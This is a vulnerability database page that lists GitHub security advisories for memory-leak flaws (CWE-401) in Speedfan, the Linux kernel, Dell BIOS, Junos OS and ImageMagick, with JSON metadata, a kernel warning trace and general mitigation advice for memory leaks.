  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21770"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/90d5429cd2921ca2714684ed525898d431bb9283"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9759ae2cee7cd42b95f1c48aa3749bd02b5ddb08"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/db60d2d896a17decd58d143eef92cf22eb0a0176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9Q7P-3FFM-5VVP

Vulnerability from github – Published: 2026-08-10 03:31 – Updated: 2026-08-10 03:31
VLAI
Details

A weakness has been identified in Almico Speedfan 4.52. This affects the function KiSystemCall64 in the library speedfan.sys of the component MSR Index Handler. Executing a manipulation can lead to memory leak. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
2.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
1.8 (Low)
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-19382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T01:16:48Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in Almico Speedfan 4.52. This affects the function KiSystemCall64 in the library speedfan.sys of the component MSR Index Handler. Executing a manipulation can lead to memory leak. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-9q7p-3ffm-5vvp",
  "modified": "2026-08-10T03:31:00Z",
  "published": "2026-08-10T03:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19382"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/18ocvgZ9aYGpaqMuojNH1jzVpQ1AJBI7d/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19382"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/866833"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387275"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/387275/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9QR2-GP6M-MXR4

Vulnerability from github – Published: 2025-06-18 12:30 – Updated: 2025-11-28 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

mt76: mt76x02u: fix possible memory leak in __mt76x02u_mcu_send_msg

Free the skb if mt76u_bulk_msg fails in __mt76x02u_mcu_send_msg routine.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-50172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-18T11:15:47Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmt76: mt76x02u: fix possible memory leak in __mt76x02u_mcu_send_msg\n\nFree the skb if mt76u_bulk_msg fails in __mt76x02u_mcu_send_msg routine.",
  "id": "GHSA-9qr2-gp6m-mxr4",
  "modified": "2025-11-28T15:30:28Z",
  "published": "2025-06-18T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50172"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2f53ba46d8c97aca681adbe5098e1f84580c446d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3ad958bc488e3ecb0207d31621c00efb86f17482"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cffd93411575afd987788e2ec3cb8eaff70f0215"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/da1ab462b96c5d47a0755aec957bae3d685538c5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f1609c4f4a21777e081b36596224802b85052ad9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9R29-9QMJ-8M4X

Vulnerability from github – Published: 2022-09-13 00:00 – Updated: 2022-09-16 00:00
VLAI
Details

Dell BIOS versions contain a Missing Release of Resource after Effective Lifetime vulnerability. A local authenticated administrator user could potentially exploit this vulnerability by consuming excess memory in order to cause the application to crash.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-12T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell BIOS versions contain a Missing Release of Resource after Effective Lifetime vulnerability. A local authenticated administrator user could potentially exploit this vulnerability by consuming excess memory in order to cause the application to crash.",
  "id": "GHSA-9r29-9qmj-8m4x",
  "modified": "2022-09-16T00:00:30Z",
  "published": "2022-09-13T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31222"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/000202196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9R2W-3MR4-V6GQ

Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2026-07-24 15:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

netfilter: nf_tables: restore set elements when delete set fails

From abort path, nft_mapelem_activate() needs to restore refcounters to the original state. Currently, it uses the set->ops->walk() to iterate over these set elements. The existing set iterator skips inactive elements in the next generation, this does not work from the abort path to restore the original state since it has to skip active elements instead (not inactive ones).

This patch moves the check for inactive elements to the set iterator callback, then it reverses the logic for the .activate case which needs to skip active elements.

Toggle next generation bit for elements when delete set command is invoked and call nft_clear() from .activate (abort) path to restore the next generation bit.

The splat below shows an object in mappings memleak:

[43929.457523] ------------[ cut here ]------------ [43929.457532] WARNING: CPU: 0 PID: 1139 at include/net/netfilter/nf_tables.h:1237 nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables] [...] [43929.458014] RIP: 0010:nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables] [43929.458076] Code: 83 f8 01 77 ab 49 8d 7c 24 08 e8 37 5e d0 de 49 8b 6c 24 08 48 8d 7d 50 e8 e9 5c d0 de 8b 45 50 8d 50 ff 89 55 50 85 c0 75 86 <0f> 0b eb 82 0f 0b eb b3 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 [43929.458081] RSP: 0018:ffff888140f9f4b0 EFLAGS: 00010246 [43929.458086] RAX: 0000000000000000 RBX: ffff8881434f5288 RCX: dffffc0000000000 [43929.458090] RDX: 00000000ffffffff RSI: ffffffffa26d28a7 RDI: ffff88810ecc9550 [43929.458093] RBP: ffff88810ecc9500 R08: 0000000000000001 R09: ffffed10281f3e8f [43929.458096] R10: 0000000000000003 R11: ffff0000ffff0000 R12: ffff8881434f52a0 [43929.458100] R13: ffff888140f9f5f4 R14: ffff888151c7a800 R15: 0000000000000002 [43929.458103] FS: 00007f0c687c4740(0000) GS:ffff888390800000(0000) knlGS:0000000000000000 [43929.458107] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [43929.458111] CR2: 00007f58dbe5b008 CR3: 0000000123602005 CR4: 00000000001706f0 [43929.458114] Call Trace: [43929.458118] [43929.458121] ? __warn+0x9f/0x1a0 [43929.458127] ? nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables] [43929.458188] ? report_bug+0x1b1/0x1e0 [43929.458196] ? handle_bug+0x3c/0x70 [43929.458200] ? exc_invalid_op+0x17/0x40 [43929.458211] ? nft_setelem_data_deactivate+0xd7/0xf0 [nf_tables] [43929.458271] ? nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables] [43929.458332] nft_mapelem_deactivate+0x24/0x30 [nf_tables] [43929.458392] nft_rhash_walk+0xdd/0x180 [nf_tables] [43929.458453] ? __pfx_nft_rhash_walk+0x10/0x10 [nf_tables] [43929.458512] ? rb_insert_color+0x2e/0x280 [43929.458520] nft_map_deactivate+0xdc/0x1e0 [nf_tables] [43929.458582] ? __pfx_nft_map_deactivate+0x10/0x10 [nf_tables] [43929.458642] ? __pfx_nft_mapelem_deactivate+0x10/0x10 [nf_tables] [43929.458701] ? __rcu_read_unlock+0x46/0x70 [43929.458709] nft_delset+0xff/0x110 [nf_tables] [43929.458769] nft_flush_table+0x16f/0x460 [nf_tables] [43929.458830] nf_tables_deltable+0x501/0x580 [nf_tables]

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:19Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: restore set elements when delete set fails\n\nFrom abort path, nft_mapelem_activate() needs to restore refcounters to\nthe original state. Currently, it uses the set-\u003eops-\u003ewalk() to iterate\nover these set elements. The existing set iterator skips inactive\nelements in the next generation, this does not work from the abort path\nto restore the original state since it has to skip active elements\ninstead (not inactive ones).\n\nThis patch moves the check for inactive elements to the set iterator\ncallback, then it reverses the logic for the .activate case which\nneeds to skip active elements.\n\nToggle next generation bit for elements when delete set command is\ninvoked and call nft_clear() from .activate (abort) path to restore the\nnext generation bit.\n\nThe splat below shows an object in mappings memleak:\n\n[43929.457523] ------------[ cut here ]------------\n[43929.457532] WARNING: CPU: 0 PID: 1139 at include/net/netfilter/nf_tables.h:1237 nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables]\n[...]\n[43929.458014] RIP: 0010:nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables]\n[43929.458076] Code: 83 f8 01 77 ab 49 8d 7c 24 08 e8 37 5e d0 de 49 8b 6c 24 08 48 8d 7d 50 e8 e9 5c d0 de 8b 45 50 8d 50 ff 89 55 50 85 c0 75 86 \u003c0f\u003e 0b eb 82 0f 0b eb b3 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90\n[43929.458081] RSP: 0018:ffff888140f9f4b0 EFLAGS: 00010246\n[43929.458086] RAX: 0000000000000000 RBX: ffff8881434f5288 RCX: dffffc0000000000\n[43929.458090] RDX: 00000000ffffffff RSI: ffffffffa26d28a7 RDI: ffff88810ecc9550\n[43929.458093] RBP: ffff88810ecc9500 R08: 0000000000000001 R09: ffffed10281f3e8f\n[43929.458096] R10: 0000000000000003 R11: ffff0000ffff0000 R12: ffff8881434f52a0\n[43929.458100] R13: ffff888140f9f5f4 R14: ffff888151c7a800 R15: 0000000000000002\n[43929.458103] FS:  00007f0c687c4740(0000) GS:ffff888390800000(0000) knlGS:0000000000000000\n[43929.458107] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[43929.458111] CR2: 00007f58dbe5b008 CR3: 0000000123602005 CR4: 00000000001706f0\n[43929.458114] Call Trace:\n[43929.458118]  \u003cTASK\u003e\n[43929.458121]  ? __warn+0x9f/0x1a0\n[43929.458127]  ? nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables]\n[43929.458188]  ? report_bug+0x1b1/0x1e0\n[43929.458196]  ? handle_bug+0x3c/0x70\n[43929.458200]  ? exc_invalid_op+0x17/0x40\n[43929.458211]  ? nft_setelem_data_deactivate+0xd7/0xf0 [nf_tables]\n[43929.458271]  ? nft_setelem_data_deactivate+0xe4/0xf0 [nf_tables]\n[43929.458332]  nft_mapelem_deactivate+0x24/0x30 [nf_tables]\n[43929.458392]  nft_rhash_walk+0xdd/0x180 [nf_tables]\n[43929.458453]  ? __pfx_nft_rhash_walk+0x10/0x10 [nf_tables]\n[43929.458512]  ? rb_insert_color+0x2e/0x280\n[43929.458520]  nft_map_deactivate+0xdc/0x1e0 [nf_tables]\n[43929.458582]  ? __pfx_nft_map_deactivate+0x10/0x10 [nf_tables]\n[43929.458642]  ? __pfx_nft_mapelem_deactivate+0x10/0x10 [nf_tables]\n[43929.458701]  ? __rcu_read_unlock+0x46/0x70\n[43929.458709]  nft_delset+0xff/0x110 [nf_tables]\n[43929.458769]  nft_flush_table+0x16f/0x460 [nf_tables]\n[43929.458830]  nf_tables_deltable+0x501/0x580 [nf_tables]",
  "id": "GHSA-9r2w-3mr4-v6gq",
  "modified": "2026-07-24T15:31:45Z",
  "published": "2024-05-01T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27012"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/164936b2fc88883341fe7a2d9c42b69020e5cafd"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2cf64b16ac55c42c8989d8c819e42a77549cd680"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/86658fc7414d4b9e25c2699d751034537503d637"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e79b47a8615d42c68aaeb68971593333667382ed"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/faa0deee272128b95a838fe7c6ebf6a2a426df14"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9R4F-WR6H-RG8H

Vulnerability from github – Published: 2022-01-20 00:01 – Updated: 2022-02-02 00:02
VLAI
Details

A vulnerability in the processing of inbound IPv6 packets in Juniper Networks Junos OS on QFX5000 Series and EX4600 switches may cause the memory to not be freed, leading to a packet DMA memory leak, and eventual Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition. The following error logs may be observed using the "show heap" command and the device may eventually run out of memory if such packets are received continuously. Jan 12 12:00:00 device-name fpc0 (buf alloc) failed allocating packet buffer Jan 12 12:00:01 device-name fpc0 (buf alloc) failed allocating packet buffer user@device-name> request pfe execute target fpc0 timeout 30 command "show heap" ID Base Total(b) Free(b) Used(b) % Name -- ---------- ----------- ----------- ----------- --- ----------- 0 246fc1a8 536870488 353653752 183216736 34 Kernel 1 91800000 16777216 12069680 4707536 28 DMA 2 92800000 75497472 69997640 5499832 7 PKT DMA DESC 3 106fc000 335544320 221425960 114118360 34 Bcm_sdk 4 97000000 176160768 200 176160568 99 Packet DMA <<<<<<<<<<<<<< 5 903fffe0 20971504 20971504 0 0 Blob This issue affects Juniper Networks Junos OS on QFX5000 Series, EX4600: 18.3R3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S6; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. This issue does not affect Juniper Networks Junos OS: Any versions prior to 17.4R3; 18.1 versions prior to 18.1R3-S6; 18.2 versions prior to 18.2R3; 18.3 versions prior to 18.3R3; 18.4 versions prior to 18.4R2; 19.1 versions prior to 19.1R2.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the processing of inbound IPv6 packets in Juniper Networks Junos OS on QFX5000 Series and EX4600 switches may cause the memory to not be freed, leading to a packet DMA memory leak, and eventual Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition. The following error logs may be observed using the \"show heap\" command and the device may eventually run out of memory if such packets are received continuously. Jan 12 12:00:00 device-name fpc0 (buf alloc) failed allocating packet buffer Jan 12 12:00:01 device-name fpc0 (buf alloc) failed allocating packet buffer user@device-name\u003e request pfe execute target fpc0 timeout 30 command \"show heap\" ID Base Total(b) Free(b) Used(b) % Name -- ---------- ----------- ----------- ----------- --- ----------- 0 246fc1a8 536870488 353653752 183216736 34 Kernel 1 91800000 16777216 12069680 4707536 28 DMA 2 92800000 75497472 69997640 5499832 7 PKT DMA DESC 3 106fc000 335544320 221425960 114118360 34 Bcm_sdk 4 97000000 176160768 200 176160568 99 Packet DMA \u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c 5 903fffe0 20971504 20971504 0 0 Blob This issue affects Juniper Networks Junos OS on QFX5000 Series, EX4600: 18.3R3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S6; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. This issue does not affect Juniper Networks Junos OS: Any versions prior to 17.4R3; 18.1 versions prior to 18.1R3-S6; 18.2 versions prior to 18.2R3; 18.3 versions prior to 18.3R3; 18.4 versions prior to 18.4R2; 19.1 versions prior to 19.1R2.",
  "id": "GHSA-9r4f-wr6h-rg8h",
  "modified": "2022-02-02T00:02:21Z",
  "published": "2022-01-20T00:01:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22174"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11280"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9R56-3GJQ-HQF7

Vulnerability from github – Published: 2026-03-26 22:09 – Updated: 2026-03-26 22:09
VLAI
Summary
ImageMagick: META reader memory leak in the APP1JPEG input path
Details

ImageMagick contains a memory leak in the META reader when processing the APP1JPEG input path.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:09:26Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "ImageMagick contains a memory leak in the META reader when processing the `APP1JPEG` input path.",
  "id": "GHSA-9r56-3gjq-hqf7",
  "modified": "2026-03-26T22:09:27Z",
  "published": "2026-03-26T22:09:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9r56-3gjq-hqf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: META reader memory leak in the APP1JPEG input path"
}
Mitigation MIT-41
Implementation

Strategy: Libraries or Frameworks

  • Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
  • For example, glibc in Linux provides protection against free of invalid pointers.
  • When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].
  • To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
Mitigation
Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Mitigation
Architecture and Design Build and Compilation

Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list